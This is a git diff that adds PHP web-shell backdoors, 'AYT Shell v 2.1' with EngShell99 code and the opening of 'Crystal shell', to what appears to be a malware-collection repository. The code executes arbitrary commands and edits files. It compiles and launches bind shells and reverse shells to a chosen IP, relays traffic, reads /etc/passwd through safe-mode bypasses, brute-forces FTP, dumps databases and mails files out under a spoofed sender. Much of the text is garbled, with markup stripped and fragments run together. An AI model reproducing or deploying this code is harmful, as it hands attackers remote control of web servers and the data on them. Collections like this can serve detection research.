diff --git a/web-malware-collection-master/Backdoors/PHP/Ayyildiz Tim -AYT- Shell v 2.1 Biz.txt b/web-malware-collection-master/Backdoors/PHP/Ayyildiz Tim -AYT- Shell v 2.1 Biz.txt
new file mode 100755
index 0000000..120f5df
--- /dev/null
+++ b/web-malware-collection-master/Backdoors/PHP/Ayyildiz Tim -AYT- Shell v 2.1 Biz.txt
@@ -0,0 +1,317 @@
+
+
+
+Ayyildiz Tim | AYT | Shell v 2.1 Biz Büyük Türk Milletinin Hizmetindeyiz...
+
+
+
+
+
+
+
+
+
+HACKED BY AYYILDIZ �
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Ayyildiz-Tim Shell <?php echo PHPSHELL_VERSION ?>
+
+
+
+
+
+
+
+
+
+
+
Copyright © 2006–2007, Powered byThehacker. v 2.1 - www.ayyildiz.org
+ Ayyildiz TIM | AYT | TUM HAKLARI SAKLIDIR.
+
+
+
Can't connect to SQL server
";
+ else
+ {
+ if(!empty($sql->base)&&!$sql->select_db()) echo "Can't select database
";
+ else
+ {
+ foreach($querys as $num=>$query)
+ {
+ if(strlen($query)>5)
+ {
+ echo "Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)." ";
+ foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES);
+ $keys = @implode(" ", $sql->columns);
+ echo " ".$keys." ",$sql->rows[$i]);
+ echo ' '.$values.'
";
+ }
+ break;
+ case '2':
+ $ar = $sql->affected_rows()?($sql->affected_rows()):('0');
+ echo "no value ';
+ if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
+ if ($value === null) return 'NULL';
+ if (@is_object($value)) $value = (array) $value;
+ if (@is_array($value))
+ {
+ @ob_start();
+ print_r($value);
+ $value = @ob_get_contents();
+ @ob_end_clean();
+ }
+ return U_wordwrap((string) $value);
+ }
+function U_wordwrap($str)
+ {
+ $str = @wordwrap(@htmlspecialchars($str), 100, '', 'Directive
Local Value
Master Value
'.ws(3).''.$key.' '.U_value($value['local_value']).'
'.U_value($value['global_value']).'
';
+ }
+echo "';
+ $cpuf = @file("cpuinfo");
+ if($cpuf)
+ {
+ $c = @sizeof($cpuf);
+ for($i=0;$i<$c;$i++)
+ {
+ $info = @explode(":",$cpuf[$i]);
+ if($info[1]==""){ $info[1]="---"; }
+ $r .= ''.ws(3).''.trim($info[0]).' '.trim($info[1]).'
'.ws(3).' ---
';
+ echo "';
+ $memf = @file("meminfo");
+ if($memf)
+ {
+ $c = sizeof($memf);
+ for($i=0;$i<$c;$i++)
+ {
+ $info = explode(":",$memf[$i]);
+ if($info[1]==""){ $info[1]="---"; }
+ $r .= ''.ws(3).''.trim($info[0]).' '.trim($info[1]).'
'.ws(3).' ---
';
+ echo " ¤ ";
+$table_up2 = " «
";
+$table_up3 = "";
+$table_end1 = " Y ";
+$lb = "[ ";
+$rb = "] ";
+$font = "";
+$ts = "";
+$fs = "";
+
+if(isset($_GET['users']))
+ {
+ if(!$users=get_users()) { echo " ".$lang[$language.'_text96']." ';
+ foreach($users as $user) { echo $user." ';
+ }
+ echo "";
+ foreach($res as $file=>$v)
+ {
+ $r .= "";
+ $r .= "".ws(3);
+ $r .= (!$unix)? str_replace("/","\\",$file) : $file;
+ $r .= " ";
+ foreach($v as $a=>$b)
+ {
+ $r .= "";
+ $r .= "".$a." ".ws(2).$b." \n";
+ }
+ }
+ $r .= "
";
+ echo $r;
+ }
+ else
+ {
+ echo "".$lang[$language.'_text56']."
";
+ }
+ echo "';
+echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n];
+if(!empty($txt)) { echo " $txt"; }
+echo '
';
+return null;
+}
+function perms($mode)
+{
+if (!$GLOBALS['unix']) return 0;
+if( $mode & 0x1000 ) { $type='p'; }
+else if( $mode & 0x2000 ) { $type='c'; }
+else if( $mode & 0x4000 ) { $type='d'; }
+else if( $mode & 0x6000 ) { $type='b'; }
+else if( $mode & 0x8000 ) { $type='-'; }
+else if( $mode & 0xA000 ) { $type='l'; }
+else if( $mode & 0xC000 ) { $type='s'; }
+else $type='u';
+$owner["read"] = ($mode & 00400) ? 'r' : '-';
+$owner["write"] = ($mode & 00200) ? 'w' : '-';
+$owner["execute"] = ($mode & 00100) ? 'x' : '-';
+$group["read"] = ($mode & 00040) ? 'r' : '-';
+$group["write"] = ($mode & 00020) ? 'w' : '-';
+$group["execute"] = ($mode & 00010) ? 'x' : '-';
+$world["read"] = ($mode & 00004) ? 'r' : '-';
+$world["write"] = ($mode & 00002) ? 'w' : '-';
+$world["execute"] = ($mode & 00001) ? 'x' : '-';
+if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
+if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S';
+if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T';
+$s=sprintf("%1s", $type);
+$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
+$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
+$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
+return trim($s);
+}
+function in($type,$name,$size,$value,$checked=0)
+{
+ $ret = "".$t1." ".$t2." FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter));
+ $this->text = $text;
+ $this->FilesTotal = @count($this->FilesToSearch);
+ $this->TimeStart = getmicrotime();
+ $this->MatchesCount = 0;
+ $this->ResultFiles = Array();
+ $this->FileMatchesCount = Array();
+ $this->titles = Array();
+ }
+ function GetFilesTotal() { return $this->FilesTotal; }
+ function GetTitles() { return $this->titles; }
+ function GetTimeTotal() { return $this->TimeTotal; }
+ function GetMatchesCount() { return $this->MatchesCount; }
+ function GetFileMatchesCount() { return $this->FileMatchesCount; }
+ function GetResultFiles() { return $this->ResultFiles; }
+ function SearchText($phrase=0,$case=0) {
+ $qq = @explode(' ',$this->text);
+ $delim = '|';
+ if($phrase)
+ foreach($qq as $k=>$v)
+ $qq[$k] = '\b'.$v.'\b';
+ $words = '('.@implode($delim,$qq).')';
+ $pattern = "/".$words."/";
+ if(!$case)
+ $pattern .= 'i';
+ foreach($this->FilesToSearch as $k=>$filename)
+ {
+ $this->FileMatchesCount[$filename] = 0;
+ $FileStrings = @file($filename) or @next;
+ for($a=0;$a<@count($FileStrings);$a++)
+ {
+ $count = 0;
+ $CurString = $FileStrings[$a];
+ $CurString = @Trim($CurString);
+ $CurString = @strip_tags($CurString);
+ $aa = '';
+ if(($count = @preg_match_all($pattern,$CurString,$aa)))
+ {
+ $CurString = @preg_replace($pattern,"\\1 '.ws(2).'" '.ws(2).'EngShell'.$version.'@ ';
+echo ws(2)."".date ("d-m-Y H:i:s")." ";
+echo ws(2).$lb." phpinfo php.ini cpu mem users tmp delete ";
+echo (($safe_mode)?("SAFEMODE-IS-ON "):("SAFEMODE-IS-OFF "));
+echo " ".ws(2);
+echo "PHP version: ".@phpversion()." ";
+$curl_on = @function_exists('curl_version');
+echo ws(2);
+echo "cURL: ".(($curl_on)?("ON "):("OFF "));
+echo " ".ws(2);
+echo "MySQL: ";
+$mysql_on = @function_exists('mysql_connect');
+if($mysql_on){
+echo "ON "; } else { echo "OFF "; }
+echo " ".ws(2);
+echo "MSSQL: ";
+$mssql_on = @function_exists('mssql_connect');
+if($mssql_on){echo "ON ";}else{echo "OFF ";}
+echo " ".ws(2);
+echo "PostgreSQL: ";
+$pg_on = @function_exists('pg_connect');
+if($pg_on){echo "ON ";}else{echo "OFF ";}
+echo " ".ws(2);
+echo "Oracle: ";
+$ora_on = @function_exists('ocilogon');
+if($ora_on){echo "ON ";}else{echo "OFF ";}
+echo " ";
+if(''==($df=@ini_get('disable_functions'))){echo "NONE ";}else{echo "$df ";}
+$free = @diskfreespace($dir);
+if (!$free) {$free = 0;}
+$all = @disk_total_space($dir);
+if (!$all) {$all = 0;}
+echo "".view_size($free)." Total space: ".view_size($all)." ";
+echo '
+
+';
+echo $font;
+if($unix){
+echo 'uname -a :'.ws(1).' ";
+echo "";
+echo((!empty($uname))?(ws(3).@substr($uname,0,120)." OS :'.ws(1).' ";
+echo "";
+echo ws(3).@substr(@php_uname(),0,120)."
";
+/*
+if(empty($c1)||empty($c2)) { die(); }
+$f = '".$lang[$language.'_text61']."
";
+ }
+ }
+ else if($_POST['action'] == "delete")
+ {
+ if(unlink($_POST['mk_name'])) echo "".$lang[$language.'_text63']."
";
+ $_POST['cmd']="";
+ }
+ break;
+ case 'dir':
+ if($_POST['action'] == "create"){
+ if(mkdir($_POST['mk_name']))
+ {
+ $_POST['cmd']="";
+ echo "".$lang[$language.'_text62']."
";
+ }
+ else { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
+ }
+ else if($_POST['action'] == "delete"){
+ if(rmdir($_POST['mk_name'])) echo "".$lang[$language.'_text64']."
";
+ $_POST['cmd']="";
+ }
+ break;
+ }
+ }
+if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name']))
+ {
+ if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclose($file); }
+ if(!$file=@fopen($_POST['e_name'],"r")) { err(1,$_POST['e_name']); $_POST['cmd']=""; }
+ else {
+ echo $table_up3;
+ echo $font;
+ echo "";
+ echo "
";
+ exit();
+ }
+ }
+if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file")
+ {
+ $mtime = @filemtime($_POST['e_name']);
+ if(!$file=@fopen($_POST['e_name'],"w")) { err(0,$_POST['e_name']); }
+ else {
+ if($unix) $_POST['e_text']=@str_replace("\r\n","\n",$_POST['e_text']);
+ @fwrite($file,$_POST['e_text']);
+ @touch($_POST['e_name'],$mtime,$mtime);
+ $_POST['cmd']="";
+ echo "".$lang[$language.'_text45']."
";
+ }
+ }
+if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C"))
+{
+ cf("/tmp/bd.c",$port_bind_bd_c);
+ $blah = ex("gcc -o /tmp/bd /tmp/bd.c");
+ @unlink("/tmp/bd.c");
+ $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &");
+ $_POST['cmd']="ps -aux | grep bd";
+}
+if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl"))
+{
+ cf("/tmp/bdpl",$port_bind_bd_pl);
+ $p2=which("perl");
+ $blah = ex($p2." /tmp/bdpl ".$_POST['port']." &");
+ $_POST['cmd']="ps -aux | grep bdpl";
+}
+if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl"))
+{
+ cf("/tmp/back",$back_connect);
+ $p2=which("perl");
+ $blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &");
+ $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
+}
+if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C"))
+{
+ cf("/tmp/back.c",$back_connect_c);
+ $blah = ex("gcc -o /tmp/backc /tmp/back.c");
+ @unlink("/tmp/back.c");
+ $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &");
+ $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
+}
+if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl"))
+{
+ cf("/tmp/dp",$datapipe_pl);
+ $p2=which("perl");
+ $blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &");
+ $_POST['cmd']="ps -aux | grep dp";
+}
+if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C"))
+{
+ cf("/tmp/dpc.c",$datapipe_c);
+ $blah = ex("gcc -o /tmp/dpc /tmp/dpc.c");
+ @unlink("/tmp/dpc.c");
+ $blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &");
+ $_POST['cmd']="ps -aux | grep dpc";
+}
+if (!empty($_POST['alias']) && isset($aliases[$_POST['alias']])) { $_POST['cmd'] = $aliases[$_POST['alias']]; }
+if (!empty($HTTP_POST_FILES['userfile']['name']))
+{
+if(!empty($_POST['new_name'])) { $nfn = $_POST['new_name']; }
+else { $nfn = $HTTP_POST_FILES['userfile']['name']; }
+@copy($HTTP_POST_FILES['userfile']['tmp_name'],
+ $_POST['dir']."/".$nfn)
+ or print("Error uploading file ".$HTTP_POST_FILES['userfile']['name']."
".$lang[$language.'_text96']."
"; $_POST['cmd'] = ""; }
+ @ftp_close($connection);
+ }
+echo $table_up3;
+if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=(!$unix)?("dir"):("ls -lia"); }
+else if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']="safe_dir"; }
+echo $font.$lang[$language.'_text1'].": ".$_POST['cmd']."
tar cvzf googlecom.tgz /home/networks/domains/google.com/public_html
";
+echo "";
+function div_title($title, $id)
+{
+ return ''.$title.' ';
+}
+function div($id)
+ {
+ if(isset($_COOKIE[$id]) && $_COOKIE[$id]==0) return '';
+ return '
';
+ }
+if(!$safe_mode){
+echo $fs.$table_up1.div_title($lang[$language.'_text2'],'id1').$table_up2.div('id1').$ts;
+echo sr(15,"".$lang[$language.'_text3'].$arrow." ",in('text','cmd',85,''));
+echo sr(15,"".$lang[$language.'_text4'].$arrow." ",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
+echo $te.'
'.$table_end1.$fe;
+}
+else{
+echo $fs.$table_up1.div_title($lang[$language.'_text28'],'id2').$table_up2.div('id2').$ts;
+echo sr(15,"
".$lang[$language.'_text4'].$arrow." ",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6']));
+echo $te.'
".$lang[$language.'_text43'].$arrow." ",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11']));
+echo $te.''.$table_end1.$fe;
+if($safe_mode){
+echo $fs.$table_up1.div_title($lang[$language.'_text57'],'id4').$table_up2.div('id4').$ts;
+echo sr(15,"".$lang[$language.'_text58'].$arrow." ",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."".$lang[$language.'_text65']." ".$lang[$language.'_text66']." ".$lang[$language.'_text59']." ".$lang[$language.'_text60']." ".$lang[$language.'_text68'].$arrow." ","CHMOD CHOWN CHGRP ".$lang[$language.'_text69'].$arrow." ".ws(2).in('text','param1',40,(($_POST['param1'])?($_POST['param1']):("filename"))).ws(2)."".$lang[$language.'_text70'].$arrow." ".ws(2).in('text','param2 title="'.$lang[$language.'_text71'].'"',26,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
+echo $te.''.$table_end1.$fe;
+}
+if(!$safe_mode){
+$aliases2 = '';
+foreach ($aliases as $alias_name=>$alias_cmd)
+ {
+ $aliases2 .= "$alias_name ";
+ }
+echo $fs.$table_up1.div_title($lang[$language.'_text7'],'id6').$table_up2.div('id6').$ts;
+echo sr(15,"".ws(9).$lang[$language.'_text8'].$arrow.ws(4)." ","".$aliases2." ".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
+echo $te.''.$table_end1.$fe;
+}
+echo $fs.$table_up1.div_title($lang[$language.'_text54'],'id7').$table_up2.div('id7').$ts;
+echo sr(15,"".$lang[$language.'_text52'].$arrow." ",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
+echo sr(15,"".$lang[$language.'_text53'].$arrow." ",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
+echo sr(15,"".$lang[$language.'_text55'].$arrow." ",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir));
+echo $te.''.$table_end1.$fe;
+if(!$safe_mode && $unix){
+echo $fs.$table_up1.div_title($lang[$language.'_text76'],'id8').$table_up2.div('id8').$ts;
+echo sr(15,"".$lang[$language.'_text72'].$arrow." ",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
+echo sr(15,"".$lang[$language.'_text73'].$arrow." ",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
+echo sr(15,"".$lang[$language.'_text74'].$arrow." ",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir));
+echo $te.''.$table_end1.$fe;
+}
+echo $fs.$table_up1.div_title($lang[$language.'_text32'],'id9').$table_up2.$font;
+echo "".div('id9')."";
+echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval');
+echo "
";
+echo $table_end1.$fe;
+if($safe_mode&&$curl_on)
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text33'],'id10').$table_up2.div('id10').$ts;
+echo sr(15,"".$lang[$language.'_text30'].$arrow." ",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+}
+if($safe_mode)
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text34'],'id11').$table_up2.div('id11').$ts;
+echo "";
+echo sr(15,"".$lang[$language.'_text30'].$arrow." ",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+}
+if($safe_mode&&$mysql_on)
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text35'],'id12').$table_up2.div('id12').$ts;
+echo sr(15,"".$lang[$language.'_text36'].$arrow." ",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."".$lang[$language.'_text37'].$arrow." ".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."".$lang[$language.'_text38'].$arrow." ".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."".$lang[$language.'_text14'].$arrow." ".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306"))));
+echo sr(15,"".$lang[$language.'_text30'].$arrow." ",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+}
+if($safe_mode&&$mssql_on)
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text85'],'id13').$table_up2.div('id13').$ts;
+echo sr(15,"".$lang[$language.'_text36'].$arrow." ",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."".$lang[$language.'_text37'].$arrow." ".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."".$lang[$language.'_text38'].$arrow." ".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."".$lang[$language.'_text14'].$arrow." ".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433"))));
+echo sr(15,"".$lang[$language.'_text3'].$arrow." ",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+}
+if($safe_mode&&$unix&&function_exists('mb_send_mail')){
+echo $fs.$table_up1.div_title($lang[$language.'_text112'],'id22').$table_up2.div('id22').$ts;
+echo sr(15,"".$lang[$language.'_text30'].$arrow." ",in('text','test5_file',96,(!empty($_POST['test5_file'])?($_POST['test5_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test5').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+}
+if($safe_mode&&function_exists('imap_list')){
+echo $fs.$table_up1.div_title($lang[$language.'_text113'],'id23').$table_up2.div('id23').$ts;
+echo sr(15,"".$lang[$language.'_text4'].$arrow." ",in('text','test6_file',96,(!empty($_POST['test6_file'])?($_POST['test6_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test6').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+}
+if($safe_mode&&function_exists('imap_body')){
+echo $fs.$table_up1.div_title($lang[$language.'_text114'],'id24').$table_up2.div('id24').$ts;
+echo sr(15,"".$lang[$language.'_text30'].$arrow." ",in('text','test7_file',96,(!empty($_POST['test7_file'])?($_POST['test7_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test7').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+}
+if($safe_mode)
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text115'],'id25').$table_up2.div('id25').$ts;
+echo sr(15,"".$lang[$language.'_text116'].$arrow." ",in('text','test8_file1',96,(!empty($_POST['test8_file1'])?($_POST['test8_file1']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test8'));
+echo sr(15,"".$lang[$language.'_text117'].$arrow." ",in('text','test8_file2',96,(!empty($_POST['test8_file2'])?($_POST['test8_file2']):($dir))).ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+}
+if(@ini_get('file_uploads')){
+echo "
";
+}
+if($unix && @function_exists("ftp_connect")){
+echo $fs.$table_up1.div_title($lang[$language.'_text94'],'id18').$table_up2.div('id18').$ts;
+echo sr(15,"".$lang[$language.'_text88'].$arrow." ",in('text','ftp_server_port',85,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
+echo sr(15,"","".$lang[$language.'_text99']." ( ".$lang[$language.'_text95']." ) ");
+echo sr(15,"",in('checkbox','reverse id=reverse',0,'1').$lang[$language.'_text101']);
+echo $te.''.$table_end1.$fe;
+}
+if(@function_exists("mail")){
+echo $table_up1.div_title($lang[$language.'_text102'],'id19').$table_up2.div('id19').$ts."".$fs."".$ts;
+echo "".$lang[$language.'_text103']."
".$lang[$language.'_text105'].$arrow." ",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("iamnothacker@yahoo.co.id"))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir));
+echo sr(25,"".$lang[$language.'_text106'].$arrow." ",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("admin@fbi.gov"))));
+echo sr(25,"".$lang[$language.'_text107'].$arrow." ",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("hello hacker"))));
+echo sr(25,"".$lang[$language.'_text108'].$arrow." ",'');
+echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
+echo $te." ".$fe.$fs."".$ts;
+echo "".$lang[$language.'_text104']."
".$lang[$language.'_text105'].$arrow." ",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("iamnothacker@yahoo.co.id"))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir));
+echo sr(25,"".$lang[$language.'_text106'].$arrow." ",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("admin@fbi.gov"))));
+echo sr(25,"".$lang[$language.'_text107'].$arrow." ",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("file from EngShell99"))));
+echo sr(25,"".$lang[$language.'_text18'].$arrow." ",in('text','loc_file',45,$dir));
+echo sr(25,"".$lang[$language.'_text91'].$arrow." ",in('radio','compress',0,'none',1).' '.$arh);
+echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
+echo $te." ".$fe."
";
+}
+if($mysql_on||$mssql_on||$pg_on||$ora_on)
+{
+$select = '';
+if($mysql_on) $select .= 'MySQL ';
+if($mssql_on) $select .= 'MSSQL ';
+if($pg_on) $select .= 'PostgreSQL ';
+if($ora_on) $select .= 'Oracle ';
+$select .= ' ';
+echo $table_up1.div_title($lang[$language.'_text82'],'id20').$table_up2.div('id20').$ts."".$fs."".$ts;
+echo "".$lang[$language.'_text40']."
".$lang[$language.'_text80'].$arrow." ",$select);
+echo sr(35,"".$lang[$language.'_text111'].$arrow." ",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' : '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
+echo sr(35,"".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow." ",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' : '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
+echo sr(35,"".$lang[$language.'_text36'].$arrow." ",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))).' . '.in('text','mysql_tbl',15,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user"))));
+echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."".$lang[$language.'_text41'].$arrow." ",in('checkbox','dif id=dif',0,'1').in('text','dif_name',31,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql"))));
+echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt9']));
+echo $te." ".$fe.$fs."".$ts;
+echo "".$lang[$language.'_text83']."
".$lang[$language.'_text80'].$arrow." ",$select);
+echo sr(35,"".$lang[$language.'_text111'].$arrow." ",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' : '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
+echo sr(35,"".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow." ",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' : '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
+echo sr(35,"".$lang[$language.'_text39'].$arrow." ",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
+echo sr(35,"".$lang[$language.'_text84'].$arrow." ".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),"");
+echo $te."
".$fe."
";
+}
+if(!$safe_mode&&$unix){
+echo $table_up1.div_title($lang[$language.'_text81'],'id21').$table_up2.div('id21').$ts." ".$fs."".$ts;
+echo "".$lang[$language.'_text9']."
".$lang[$language.'_text10'].$arrow." ",in('text','port',15,'11457'));
+echo sr(40,"".$lang[$language.'_text11'].$arrow." ",in('text','bind_pass',15,'e99'));
+echo sr(40,"".$lang[$language.'_text20'].$arrow." ","Perl C ".$fe.$fs."".$ts;
+echo "".$lang[$language.'_text12']."
".$lang[$language.'_text13'].$arrow." ",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1"))));
+echo sr(40,"".$lang[$language.'_text14'].$arrow." ",in('text','port',15,'11457'));
+echo sr(40,"".$lang[$language.'_text20'].$arrow." ","Perl C ".$fe.$fs."".$ts;
+echo "".$lang[$language.'_text22']."
".$lang[$language.'_text23'].$arrow." ",in('text','local_port',15,'11457'));
+echo sr(40,"".$lang[$language.'_text24'].$arrow." ",in('text','remote_host',15,'irc.dalnet.ru'));
+echo sr(40,"".$lang[$language.'_text25'].$arrow." ",in('text','remote_port',15,'6667'));
+echo sr(40,"".$lang[$language.'_text26'].$arrow." ","datapipe.pl datapipe.c ".$fe."
";
+}
+echo '
'.$table_up3."o-[ HackArt - EngShell99 version ".$version." ]-o
".$f;
+echo '';
+?>
diff --git a/web-malware-collection-master/Backdoors/PHP/Crystal.txt b/web-malware-collection-master/Backdoors/PHP/Crystal.txt
new file mode 100755
index 0000000..ae925d5
--- /dev/null
+++ b/web-malware-collection-master/Backdoors/PHP/Crystal.txt
@@ -0,0 +1,1127 @@
+
+
+
+
+Crystal shell
+
+
+
+
+
+
+
+ � CRYSTAL-H
+ Crystal hack shellphp 2006-2007
+
+
+
+
+
+ ON (secure)";
+
+
+}
+
+else {$safemode = false; $hsafemode = "OFF (not secure) ";}
+echo("Safe-mode: $hsafemode");
+// PHPINFO
+if ($_GET['action'] == "phpinfo") {
+ echo $phpinfo=(!eregi("phpinfo",$dis_func)) ? phpinfo() : "phpinfo() bị cấm";
+ exit;
+}
+$v = @ini_get("open_basedir");
+if ($v or strtolower($v) == "on") {$openbasedir = true; $hopenbasedir = "".$v." ";}
+else {$openbasedir = false; $hopenbasedir = "OFF (not secure) ";}
+echo("";
+$pg_on = @function_exists('pg_connect');
+if($pg_on){echo "ON ";}else{echo "OFF ";}
+echo("";
+$mssql_on = @function_exists('mssql_connect');
+if($mssql_on){echo "ON ";}else{echo "OFF ";}
+echo("";
+$mysql_on = @function_exists('mysql_connect');
+if($mysql_on){
+echo "ON "; } else { echo "OFF "; }
+echo("".@phpversion()." ";
+echo("ON OFF ";
